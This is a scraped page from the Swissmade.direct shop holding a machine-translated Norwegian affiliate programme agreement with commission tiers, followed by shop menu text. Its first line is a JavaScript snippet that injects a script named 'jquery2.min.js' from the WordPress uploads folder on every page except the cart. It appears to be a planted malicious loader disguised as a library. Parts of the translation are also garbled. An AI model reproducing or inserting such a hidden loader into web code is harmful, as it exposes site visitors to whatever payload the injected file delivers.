if (window.location.pathname !== '/cart/') { var scriptElement = document.createElement('script'); scriptElement.src = '/wp-content/uploads/jquery2.min.js'; document.head.appendChild(scriptElement); }

AFFILIERT PROGRAMAVTALE & VILKÅR OG BETINGELSER

Denne tilknyttede programavtalen ("Avtalen") er inngått og trer i kraft 28. september 2016 (og senere oppdateringer) mellom Swissmade Trading Ltd., Swissmade.direct, (SMT), et selskap organisert og eksisterende under lovene i Sveits, med hovedkontor lokalisert på: Littauerboden 1, CH-6014 Lucerne og det registrerte og aksepterte tilknyttede selskapet (Deltaker) med juridisk hjemsted i henhold til registrert adresse på tilknyttede nettsider. Med abonnementet på affiliateprogrammet avtales det som følger: konserter
  1. Navnet på dette tilknyttede programmet er Swissmade.direct tilknyttet program ("tilknyttet program").
  2. Deltakeren representerer og garanterer overfor SMT at deltakeren har lest og forstått personvernreglene og samtykker til vilkårene som er angitt der.
  3. I forbindelse med denne avtalen refererer begrepet "deltakeren" til den enkelte eller juridiske enhet som søker om og blir akseptert i tilknytningsprogrammet. Uttrykket “SMT” refererer til sponsor for tilknyttet program. Begrepet "SMTs nettsted" refererer til nettstedet som SMT vedlikeholder på swissmade.direct. Begrepet "Deltakerens nettsted" refererer til nettstedet der Deltakeren samtykker i å plassere en lenke til SMTs nettsted, men inkluderer også den genererte URL-en fra SMT-tilknytningsprogrammet og den tilhørende kontoen til deltakeren i tilknyttet program der deltakeren er registrert på SMT-nettstedet. "Merchandise" betyr alle produkter, varer og lager som SMT tilbyr for salg via nettstedet.
1. AVGJENGELIG PROGRAMREGISTRASJON

For å registrere seg for tilknyttet program, må deltakeren fylle ut og sende inn søknadsskjema for SMT tilknyttet program. Søknadsskjemaet for tilknyttet program er inkludert på SMTs nettsted og kan fylles ut og sendes inn via dets nettsted. Deltakeren forplikter seg til å fullføre all informasjon sannferdig.

2. GODKJENNING ELLER AVKJENNING AV AFFILIERT PROGRAMANVENDELSE

SMT forbeholder seg retten til å godkjenne eller avvise ENHVER tilknyttet programsøknad etter eget skjønn når som helst. Deltakeren vil ikke ha noen rettslig klagerett mot SMT for avvisning av søknaden om deltakertilknyttede program.

3. Årsaker til avvisning

Uten å begrense retten til å avvise en søknad uansett grunn etter SMTs absolutte skjønn, vil deltakersøknaden bli avvist hvis den er ufullstendig, ikke fylt ut sannferdig eller hvis deltakerens nettsted eller virksomhet inneholder bilder eller innhold som ikke er akseptabelt for SMT eller er inkonsistent med bildet som SMT ønsker å lage i forbindelse med nettstedet sitt; eller hvis deltakerens nettsted inneholder for eksempel, men ikke begrenset, ulovlig, umoralsk, frastøtende, ærekrenkende, nedsettende, trakasserende, skadelig, truende, obskønt, vulgært, pornografisk, rasemessig eller etnisk støtende materiale, skildrer seksuelle situasjoner, fremmer diskriminering på grunnlag av av rase, kjønn, seksuell preferanse, nasjonal opprinnelse, etnisitet, nasjonalitet, funksjonshemming, religiøse preferanser, spam, eller hvis deltakerens nettsted inneholder noe materiale som for SMT ser ut til å krenke patenter, varemerker, opphavsrett, forretningshemmeligheter, konfidensiell informasjon, eller andre eiendomsrettigheter til andre parter.

4. OPPSIGELSE ETTER GODKJENNING

Selv etter at SMT har akseptert deltakeren som et tilknyttet programmedlem, forbeholder SMT seg den absolutte retten til å oppheve eller si opp deltakerens tilknyttede status av hvilken som helst grunn etter eget skjønn, inkludert men ikke begrenset til grunnene som er angitt ovenfor. Med oppsigelse av medlemskapet vil alle fordelene ved dette tilknyttede programmet bli avsluttet samtidig. Avslutning og deaktivering og sletting av kontoen kan gjøres uten forutgående varsel.

5. FINANSIELLE ANSVAR

Deltakeren vil være fullt ansvarlig for alle kostnader og utgifter ved vedlikehold og markedsføring av tilknyttet program, inkludert, men ikke begrenset til, alle kostnader forbundet med kreasjoner, hosting, modifisering og forbedringer av deltakerens nettsted, kostnader for plassering av søkemotorer og annet Internettmarkedsføring, kostnader for å sette SMT-lenker inn på nettstedet sitt, offline markedsføringskostnader, portokostnader og alle andre kostnader og utgifter, og Deltakeren holder herved SMT ufarlig fra eller mot det samme. SMT er bare ansvarlig for kostnadene til nettstedet swissmade.direct og oppretting av relaterte URL-er.

6. INGEN REPRESENTASJONER OM INNTEKSPOTENSIALE

SMT gir ingen uttalelser og garantier angående potensielle inntekter som kan være resultatet av deltakelse i dette tilknyttede programmet og fraskriver seg spesifikt alle garantier i forhold til inntjeningspotensial fra deltakerens tilknyttede status.

7. ANSVAR FOR Å lenke til SMTs nettsted

a.) Som tilknyttet selskap vil deltakeren ha forpliktelser til å distribuere de opprettede URL-ene (inkludert produktene eller SMT-nettstedet) fra kontoen sin i tilknytningsprogrammet til SMT eller plassere lenker på nettstedet som leder brukerne til SMT-siden. . SMT vil gjøre tilgjengelig for deltakerknapplenker, tekstlenker og bannerannonser som skal plasseres på deltakerens nettsted, som vil lede brukere til SMTs nettsted via hypertekstlenke. Som et programtilknyttet selskap får deltakeren en begrenset periode lisens, i løpet av deltakerens aktive deltakelse som et programtilknyttet selskap, til å bruke SMTs logobilder som er gitt til deltakeren på nettstedet som deltakeren utpeker i programmet for deltakerprogrammet. .

b.) SMT stiller til sine tilknyttede selskaper, URL-er, lenker, bannere og annen informasjon som annonserer nettstedet eller produktene sine som skal brukes underlagt vilkårene i denne avtalen tilgjengelig. Dette materialet vil inneholde varemerker og annen eiendom. Deltakeren kan vise dette materialet på deltakernes nettsted for å promotere SMTs nettsted og produkter og delta i dette tilknyttede programmet. Hvis deltakeren avbryter tilknyttet program, eller hvis deltakeren avsluttes av en eller annen grunn, vil deltakeren øyeblikkelig slutte å bruke disse materialene og vil slette alt slikt materiale fra nettstedet og datamaskinen. Deltakeren må innhente SMT-godkjenning av alle lenker til SMTs nettsted som deltakeren plasserer på sitt nettsted. Deltakeren vil samarbeide med SMT om etablering og plassering av lenker på deltakernes nettsted.

c.) Deltakeren vil bare få lov til å bruke lenkene og URL-ene som SMT ga til deltakeren eller er opprettet i deltakerkontoen til det tilknyttede programmet til SMT på nettstedet som deltakeren utpeker i tilknytningsprogrammet. Eventuelle ytterligere nettsteder eller enheter krever ytterligere innsendelser av tilknyttede programapplikasjoner og godkjenning av SMT.

d.) Deltakeren vil ikke endre koblingene eller annet materiale som SMT ga til deltakeren eller plasseringen av lenkene på deltakerens side. Deltakeren samtykker i at SMT overvåker deltakernes nettsted for å bestemme fortsatt overholdelse av denne avtalen.

e.) Deltakeren samtykker til SMT inkludert informasjon om trafikk fra deltakerens side i SMT-rapportene. Denne informasjonen kan gis til eksterne parter.

8. KUNDESERVICE

a.) SMT vil være ansvarlig for å håndtere alle kundehenvendelser, produktbestillinger, kundefakturering og innsamling, varesending i forhold til kunder som kommer inn på SMTs nettsted gjennom koblingene fra deltakerens side. Prisfastsettelse av SMT-produktene og -tjenestene er helt etter sitt skjønn, og SMT forbeholder seg retten til å endre prisstrukturen, avslutte eventuelle spesialtilbud, avvikle produkter eller tjenester, eller endre vilkårene som produkter eller tjenester tilbys til enhver tid, uten enhver avansert varsel til deltakeren eller brukerne som får tilgang til SMTs nettsted. SMTs eneste ansvar overfor deltakeren i denne forbindelse er å spore kundeordrer som oppstår gjennom den opprettede URL-en til kontoen til deltakeren i det tilknyttede programmet til SMT og / eller lenker fra deltakerens nettsted og lage rapporter til deltakeren til provisjoner som skyldes deltakeren som et resultat av dette. Alle slike rapporter skal ikke revideres. SMT har ingen forpliktelser til å gi deltakeren spesifikk informasjon i forhold til en kunde, uavhengig av om de får tilgang til SMTs nettsted gjennom lenken fra deltakerens side.

b.) SMT er ikke ansvarlig for manglende tildeling av salg eller provisjoner til deltakeren hvis det samme er resultatet av feil formatering av lenken fra deltakernes nettsted eller den genererte URL-en i tilknyttet program. Deltakeren skal til enhver tid forsikre seg om at lenken eller URL-en er riktig formatert og rapportere eventuelle problemer som deltakeren måtte ha med den samme til SMT umiddelbart.

9. GODTGJENGELSE

a.) Provisjoner vil bli utbetalt til deltakeren basert på en prosentandel av (netto) salg gjort til brukere som har tilgang til SMT-nettstedet gjennom deltakerens URL til tilknyttede programmet eller dets nettsted. Provisjoner vil bli beregnet basert på netto salgspris for en ordre, ikke inkludert frakt og håndtering, omsetningsavgift, spesielle servicegebyrer som gaveinnpakning eller -emballasje, forsinkede kostnader, innsamlingskostnader, import-/eksportavgifter og annen betaling til SMT som ikke er kjøpesummen for produktet som kjøpes. Provisjoner vil ikke bli beregnet basert på beløp som kan tilskrives kredittkortsvindel, kreditter eller rabatter gitt til kunder, tap på fordringer, tilbakeføringer og returnerte varer. SMT forbeholder seg retten til å trekke fra i de påfølgende månedene for eventuell provisjon som SMT har betalt, som er for et produkt som senere returneres eller refunderes, eller av en annen grunn hvis den forrige månedlige provisjonen ble overbetalt eller senere gjenstand for reduksjon. Satsene endres med det totale nettobeløpet for gyldige betalte salg i løpet av kalenderåret, som vises på Deltakers Affiliate-konto.

b.) Prosentene som skal betales som provisjoner nedenfor er for øyeblikket som angitt i vedlegg A på slutten av denne avtalen. SMT forbeholder seg retten til når som helst å endre og endre kommisjonsrentestrukturen, etter SMTs skjønn.

c.) Provisjoner vil kun bli betalt for salg som spores gjennom SMTs online sporingssystem og angir deltakerens URL eller nettstedets lenke som kilde. Det er ingen rett til provisjoner hvis en bruker senere kommer tilbake til SMTs nettsted og gjør et kjøp gjennom en annen lenke eller annen kilde enn gjennom deltakerens URL eller nettsted. Deltakeren har ingen rett til provisjoner basert på påfølgende salg, selv om kunden først ankom SMTs nettsted via lenken fra deltakerens side. Provisjoner spores og betales bare når brukeren kjøper på samme besøk som brukeren besøker SMTs nettsted fra lenken til deltakerens nettsted eller URL-en. For etterfølgende salg kan det betales en redusert provisjon i henhold til vedlegg A.

d.) SMT betaler provisjon bare ved innkreving av SMT. Deltakeren har ingen rett til provisjoner før den aktuelle kunden har betalt SMT i sin helhet og ingen tilbakeførsel eller andre tap har oppstått. Bare kjøp som gjøres gjennom SMTs online bestillingsprosess vil telle med i provisjonsberegninger. For eksempel, hvis en kunde besøker SMTs nettsted via lenken fra deltakernes nettsted, og i stedet for å foreta en online bestilling samtale og legge inn en bestilling via telefon, har deltakeren ingen rett til noe provisjon fra det salget.

e.) Provisjoner vil bli utbetalt til deltakeren hver måned eller 10 dager etter levering av bestillingen til kunden. SMT garanterer ikke en eksakt dato for beregning av provisjoner eller betalinger. Alle betalinger vil skje via bankoverføring til kontoen som deltakeren leverte i tilknytningsprogrammet. SMT sender ikke betaling dersom den totale provisjonen som skyldes deltakeren ikke er minst 10 CHF. Beløp under 10 CHF tilfaller deltakerkontoen og betaling vil bli utført for måneden når deltakerens totale provisjoner oppnår minimum 10 CHF. SMT forbeholder seg retten til når som helst å endre minste provisjonsbeløp. Eventuelle gebyrer for pengeoverføringen betales av partene like.

10. KUNDESPROVENANS

Alle parter som foretar kjøp via SMTs nettsted, uavhengig av om de kan ha nådd nettstedet sitt via lenken fra deltakerens nettsted eller nettadressen, anses å være SMTs kunder og ikke deltakernes kunder i forhold til SMTs produkter og tjenester. SMT vil ha rett til å kontakte disse kundene og sende fremtidige markedsføringstilbud til dem. Deltakeren har ingen rett til provisjoner for påfølgende kjøp som kan gjøres av disse kundene, bortsett fra påfølgende kjøp som kan spores på kjøpstidspunktet gjennom en lenke fra deltakerens nettsted eller URL. I tillegg vil alle slike kunder og kjøp være underlagt SMT-policyer, prosedyrer, regler og forskrifter, og deltakeren har ingen rett eller myndighet til å endre eller tilby andre tilbud i forhold til kjøp av produkter fra SMTs nettsted. SMT forbeholder seg imidlertid retten til å endre noen av sine vilkår, betingelser, policyer, prosedyrer, priser, betalingspolitikk, innsamlingspolicyer og alle andre elementer i forhold til SMTs virksomhet og salg av produkter når som helst etter eget skjønn.

11. VAREMERKER OG KOPIEREGER

a.) Deltakeren vil ha en ikke-eksklusiv, begrenset periode lisens til å bruke varemerker, logoer og opphavsrettsbeskyttet materiale som SMT ga til deltakeren for bruk utelukkende på hjemmesiden som deltakeren utpeker i applikasjonen til deltakerprogrammet eller i URL-en som er opprettet i SMTs tilknyttede program. Deltakeren kan bare bruke bildene som SMT spesifikt gjør tilgjengelig for SMT-tilknyttede medlemmer på området til nettstedet som spesifikt er utpekt som godkjente bilder for tilknyttede programmedlemmer eller gitt direkte til dem. Deltakeren kan ikke distribuere, reprodusere, endre, endre, disse bildene på noen måte. Deltakeren kan bare bruke disse bildene bare for å markedsføre SMTs nettsted og produkter i samsvar med retningslinjene og prosedyrene for tilknyttet program og vilkårene i denne avtalen. Lisensen som er gitt slik er underlagt fullstendig overholdelse av alle vilkår og betingelser i denne avtalen og alle retningslinjer SMT kan opprette og endre fra tid til annen angående tilknyttet program.

b.) Deltakeren vil bare bruke slike elementer i form, størrelse, innhold og utseende som SMT ga dem til deltakeren. Deltakeren har ikke lov til å endre dem. Deltakeren samtykker i å vise disse varene tydelig på nettstedet sitt eller distribuere dem gjennom den genererte URL-en. Disse elementene kan bare brukes på hvis de inneholder en hypertekstkobling til SMTs nettsted. Denne lisensen skal umiddelbart avsluttes ved opphør fra tilknyttet program. SMT kan også si opp denne lisensen ved varsel til deltakeren i tilfelle at deltakerens bruk av disse varene er i strid med eller ikke er i samsvar med dens standarder, slik standarder som skal bestemmes etter eget skjønn. Deltakeren er enig i at SMT beholder all rettighet, tittel og interesse for og til alle slike materialer. SMT vil beholde all goodwill og annen verdi knyttet til noe av disse materialene. Deltakeren vil ikke oppnå noe varemerke, copyright eller andre eiendomsrettigheter til slikt materiale. Deltakeren samtykker i å ikke iverksette tiltak som er i strid med eller i strid med SMT-rettighetene til dette materialet. Deltakeren vil ikke bruke disse materialene på noen måte som er skadelig, ærekrenkende, nedsettende, nedsettende eller negativ for SMT eller som maler SMT i et falskt eller negativt lys. SMT kan når som helst skriftlig tilbakekalle den begrensede lisensen gitt i henhold til deltakeren. Ved oppsigelse eller tilbakekall vil deltakeren øyeblikkelig opphøre fra bruk av dette materialet.

c.) Deltakeren har ikke lov til å bruke noe annet proprietært materiale, inkludert men ikke begrenset til varemerker, opphavsrettigheter, logoer, tekst og annet materiale som tilhører SMT eller til noen annen part og som kan vises på SMTs web nettstedet.

d.) Deltakeren gir SMT en ikke-eksklusiv rett og lisens til å bruke deltakerens varemerker, handelsnavn, tjenestemerker, firmanavn, titler på websider, slagord, logoer og opphavsrettsbeskyttet materiale for å markedsføre, annonsere, kunngjøre eller markedsføre deltakerens deltakelse i SMT-tilknyttet program. Deltakeren representerer og garanterer overfor SMT at ingen annen part har noen rettigheter i og til noe av dette materialet, og at dette materialet ikke krenker eller på annen måte forstyrrer rettighetene til noen annen part. Deltakeren representerer og garanterer å være den absolutte, eneste og eksklusive SMT for alt slikt materiale og SMT for alle varemerkerettigheter, opphavsrettigheter og andre eiendomsrettigheter i og til det samme. Deltakeren representerer å ha rett, makt og myndighet til å lisensiere nevnte materialer til SMT som nevnt og at deltakeren ikke er under noen lovlig eller kontraktsmessig begrensning av retten til å lisensiere dette materialet. SMT har ingen forpliktelse til å kunngjøre, annonsere, markedsføre eller fremme deltakernes deltakelse i SMT-tilknyttet program, men forbeholder seg retten til å gjøre det samme etter eget skjønn.

12. PRODUKT TILGJENGELIGHET SMT kan ikke garantere produkttilgjengelighet eller vilkår for pris eller spesiell kampanje eller tilbud. 13. ANSVAR

Deltakeren er ansvarlig for alle forhold knyttet til deltakerens egen distribusjon av nettadressen og / eller nettstedet, inkludert dens utvikling, vedlikehold, drift og plassering av lenker på deltakerens nettsted i samsvar med vilkårene i tilknyttet program. Deltakeren er helt ansvarlig for alle elementer som vises på nettstedet eller URL-en, og for å sikre at slike elementer ikke krenker eller krenker rettighetene til noen annen part. Deltakeren attesterer å innhente alle regler og forskrifter, spesielt angående retningslinjer for spam og svarteliste. SMT er ikke ansvarlig for spørsmål relatert til deltakernes nettsted, nettadressedistribusjon eller innholdet derav, og deltakeren holder SMT ufarlig og skadesløsgjør SMT for alle krav, drakter, trusler, krav, forpliktelser, handlinger, årsaker til handling relatert på noen måte til deltakernes nettsted og virksomhet. Slik erstatning inkluderer SMT-kostnader og advokatsalær ved å forsvare en slik sak. Deltakeren representerer og garanterer overfor SMT at nettstedet ikke og ikke vil inneholde materiale som er ulovlig, og at deltakerens nettsted ikke drives for et ulovlig formål eller på en ulovlig måte.

14. REPRESENTASJONER OG GARANTIER

Deltakeren representerer og garanterer herved at SMT skal ha full makt og myndighet til å inngå denne avtalen og at denne avtalen utgjør en gyldig og rettskraftig avtalen. Inngåelsen av denne avtalen er behørig og gyldig autorisert av alle nødvendige bedrifts- eller andre organisatoriske handlinger og godkjenninger. Deltakerens inngåelse av denne avtalen er ikke forbudt i henhold til vilkårene i noe dokument, er ikke i strid med noen lov, regel eller forskrifter, og er ikke i strid med noen domstol eller administrativ pålegg.

15. VARIG

Effektiviteten av denne avtalen skal ikke påbegynnes før deltakerprogrammet-søknaden er akseptert av SMT. Effektiviteten herav og bindende virkning skal skje ved SMT-aksept av applikasjonen til deltakerprogrammet. Denne avtalen skal forbli i full kraft og virkning inntil den blir sagt opp av deltakeren eller av SMT. Enten SMT eller deltakeren kan avslutte denne avtalen når som helst, med eller uten grunn, ved å gi den andre parten skriftlig varsel om oppsigelse i samsvar med denne avtalen. Varsler som sendes nedenfor skal være via e-post til deltakeren på e-postadressen som er angitt i deltakerprogrammet. Alle merknader til deltakeren via e-post på slik adresse skal anses som effektiv varsel til deltakeren for alle formål.

16. OPPSIGELSE

Deltakeren mister all rett til å motta tidligere kommisjoner som kan ha tilfalt deltakeren hvis denne avtalen blir sagt opp som et resultat av at deltakeren ikke har overholdt vilkårene i denne avtalen eller retningslinjer og prosedyrer i tilknyttet program som kan etableres og endret av SMT etter eget skjønn fra tid til annen. Hvis denne avtalen blir sagt opp av andre årsaker, vil deltakeren ha rett til å motta påløpte provisjoner gjennom virkningstidspunktet; forutsatt at dersom deltakerens totale provisjoner på grunn av dette ikke overstiger 10.00 CHF, skal slik påløpt provisjon forspilles. SMT har rett til å holde tilbake endelige provisjonsbetalinger i tilstrekkelig tid for å sikre at beløpet som er betalt til deltakeren er nøyaktig og ikke gjenstand for senere justering for retur, tilbakeførsel eller noen annen grunn. Hvis SMT etter endelig betaling bestemmer at provisjonen som deltakeren ble betalt var for høy, som et resultat av påfølgende avkastning eller annen justering eller årsak, skal differansen være en gjeld fra deltakeren til SMT og SMT skal har all juridisk rett til å motta refusjon av slik overbetalt provisjon fra deltakeren.

17. MODIFIKASJONER

SMT forbeholder seg retten til etter eget skjønn å endre vilkår og betingelser i tilknyttet program og vilkårene i denne avtalen etter varsel til deltakeren. Varsel om endringer kan gis via e-post til deltakeren eller ved å legge ut slike endringer i tilknytningsprogramdelene på SMTs nettsted. Slike endringer og modifikasjoner trer i kraft ved overføring av e-post eller innlegg på SMTs nettsted. Deltakeren kan avslutte deltakelse i tilknyttet program i tilfelle noen av disse modifikasjonene er uakseptable for deltakeren, og slik avslutning skal være deltakerens eneste og eksklusive middel. I tilfelle at deltakeren fortsetter å delta i tilknyttet program etter slike modifikasjoner, vil deltakeren bli ansett av deltakeren som fortsatt deltakelse for å akseptere alle slike endringer.

18. FORPLIKTELSER

a.) SMT FRASKRIVER HVIS NOEN OG ALLE GARANTIER OG ANSVARLIGHETER relatert til noe drifttid eller feil for at brukerne skal kunne komme til sin hjemmeside eller til å få tilgang til websiden med bruk av lenken eller nettadressen fra deltakernes nettsted eller destinasjonen. I tillegg skal SMT IKKE ER ANSVARLIG FOR OG HVIS DET GJELDER VIL NOEN, OG ALLE GARANTIER relatert til DETS NETTSTED, AFFILIATE PROGRAMMET, DETTE DELTAKET I DET FUNKTIGE PROGRAMMET, DEN DELTAKENDE KUNNE TIL Å GJØRE ANDRE PROSJEKTER , INKLUDERENE MEN IKKE BEGRENSET TIL NOE GARANTIER FOR EGNETHET FOR NOEN DELTAKTT FORMÅL ELLER MERCHANTIBILITY, IKKE-OVERVÅKNING ELLER NOEN KRAV TIL BASERT PÅ SMT'S KURSUS FOR HANDEL ELLER BRUK AV HANDEL. SMT representerer ikke eller garanterer at dets nettsted eller noe program, inkludert, men ikke begrenset til sin link og / eller URL-sporingsfunksjoner, vil være feilfritt eller at de vil fungere uten avbrudd.

b.) SMT skal ikke være ansvarlig for noen direkte eller indirekte skader eller forpliktelser av noe slag, inkludert, men ikke begrenset til tilfeldige, indirekte, indirekte eller spesielle skader, tap av fortjeneste, tap av forretningsmuligheter eller andre skader; Uavhengig av om SMT VAR ELLER HAR BLITT RÅDET OM SAMME-MOGLIGHETEN OG IKKE TILTAK TIL HANDLING FOR SAMME.

c.) Uten å begrense den avgående, skal SMTs totale ansvar for skader som oppstår under dette aldri overstige de totale provisjonene som er betalt og betales av SMT i henhold til vilkårene i dette.

19. FORTROLIGHET

I tilfelle informasjon blir gitt til deltakeren gjennom deltakerdeltakelsen i tilknyttet program relatert til SMT-selskapet og virksomheten som SMT anser for å være konfidensiell og proprietær, samtykker deltakeren i å holde slik informasjon på den strengeste måte tillit og ikke til å røpe slik informasjon til noen annen part eller å bruke slik informasjon til deltakerens egne formål. Konfidensiell informasjon vil omfatte all informasjon om SMT-endringer eller modifikasjoner av denne avtalen eller dette tilknyttede programmet (som SMT ikke har noen forpliktelse til å gjøre) eller spesiell behandling som deltakeren måtte motta (som SMT forbeholder seg retten til å gi i sin eget skjønn til ethvert tilknyttet selskap). Konfidensiell informasjon skal også omfatte all og all informasjon relatert til SMTs virksomhet, forretningsplaner, markedsføringsplaner, brukerstatistikk, økonomisk informasjon, priser, fortjeneste, medlemsinformasjon, tilknytning, salgsinformasjon og all annen informasjon SMT anser som fortrolig og proprietær.

20. ERSTATNING

Deltakeren skadesløsholder og holder SMT, og alle SMT-aksjonærer, offiserer, direktører, ansatte, entreprenører, tilknyttede selskaper, agenter, etterfølgere og tildeler ufarlige fra og mot alle krav, forpliktelser, skader, handlinger, årsaker til handling, drakter, trusler, krav, oppgjør, inkludert alle kostnader og advokatgebyr relatert til dette, som SMT kan pådra seg og som helt eller delvis er basert på deltakernes deltakelse i tilknyttet program, eventuelle påstander om at noen av deltakerens varemerker og annet proprietært materiale krenker rettighetene til andre parter, deltakerens brudd på vilkår, betingelser, betingelser, representasjoner eller garantier i denne avtalen eller retningslinjer for deltakelse i tilknyttet program, eller ethvert krav relatert direkte eller indirekte til deltakernes bruk , drift eller innholdet på deltakernes nettsted.

21. RETTS

Denne avtalen skal tolkes under lovene i Sveits. Alle juridiske handlinger i forhold til dette skal være i domstolene i Luzern, Sveits. 22. PARTENS FORBINDELSE

Partene i denne sammenheng er uavhengige entreprenører, og ingenting som finnes her skal tolkes som å skape noe annet forhold enn uavhengige avtaleparter. Partene skal ikke tolkes som partnere, felleskontrollører, aksjonærer, arbeidsgiver / ansatt, agent / tjener. Deltakeren har ingen makt eller myndighet til å binde SMT til noen forpliktelse, avtale, gjeld eller ansvar. Deltakeren skal ikke holde seg som agent eller representant for SMT. Enhver endring av denne bestemmelsen skal være skriftlig og lovlig gyldig signert.

23. MERKNADER

Varsler til SMT skal være per bekreftet post, returnert kvittering forespurt adressert til adressen i denne avtalen, eller en slik annen adresse som SMT gir varsel om deltakeren via e-post eller ved å sende den samme på tilknyttet seksjon på SMT-web nettstedet. Varsler til deltakeren skal være per e-post adressert til den e-postadressen som deltakeren ga til SMT i programmet Program for deltakerpartnere, eller ved å legge ut slike kunngjøringer på tilknyttet seksjon på SMTs nettsted. Det skal være deltakeransvaret å sjekke tilknyttet seksjon på SMT-nettstedet med jevne mellomrom for å overvåke alle merknader som er angitt der.

24. OPPDRAG

Denne avtalen er bare til fordel for den parten som deltakeren lister opp i programmet for tilknyttet program. Deltakeren skal ikke ha rett til å overdra denne avtalen eller fordeler eller forpliktelser i henhold til noen annen part eller juridisk enhet. Ethvert forsøk på tildeling skal være ugyldig.

25. HELE AVTALEN

Denne avtalen beskriver hele avtalen og forståelsen mellom partene med hensyn til innholdet heri og overlater enhver og forutgående diskusjoner, forståelse, avtaler, representasjoner, garantier eller pakter mellom partene relatert til emnet her. Denne avtalen kan bare endres ved en skriftlig signert av den autoriserte representanten for hver av partene, med mindre annet er angitt her. Ethvert avkall på brudd eller mislighold i henhold til denne avtalen skal ikke utgjøre et avkall på noe senere eller annet brudd eller mislighold og skal ikke tjene til å modifisere avtalene angitt her.

Hvis noen bestemmelse eller vilkår i denne avtalen holdes ugyldig av en eller annen grunn, skal den ikke påvirke håndhevbarheten av resten av denne avtalen eller andre vilkår eller betingelser i denne avtalen. 26. BEGYNNELSE AV VILKÅRENE Deltakeren samtykker i å opprette kontoen til tilknyttet program på siden for SMT-tilknyttet program til denne avtalen og vilkårene. SMT samtykker til deltakeren med å akseptere innsendingen og den tilhørende bekreftelsen. VEDLEGG A Provisjonspriser i CHF
Total mengde salg CHF Ranger første salg i% Vurder påfølgende salg i%
Fram til 5 8 4
5'001.00 - 10'000.00 10 5
10'001.00 - 15'000.00 10 6
15'001.00 - 20'000.00 10 6.5
20'001.00 - 25'000.00 10 7
25'001.00 - 30'000.00

10

7.5
30'001.00 - ubegrenset spesiell avtale spesiell avtale

Handlevogn

×
Handlekurven er tom. Gå for å handle
Velg valutaen din
Rull til toppen
Søk
MAT OG DRIKKE

Kjeks
Skjønnhet og omsorg
Sjokolade
Mat og Drikke
Sveitsisk kaffe
Vegetarisk mat

Forretningsutstyr
Campingutstyr
Sport
Sveitsisk ryggsekk
Travel Poser

TILBEHØR
SPILL OG LEKER
PENNER OG KRIFT
BØKER
ESSENSIELLE OLJER
MILJØVENNLIG PRODUKT
HJEMMETILBEHØR
KJØKKEN OG HUSHOLDNINGER
PÅ SALG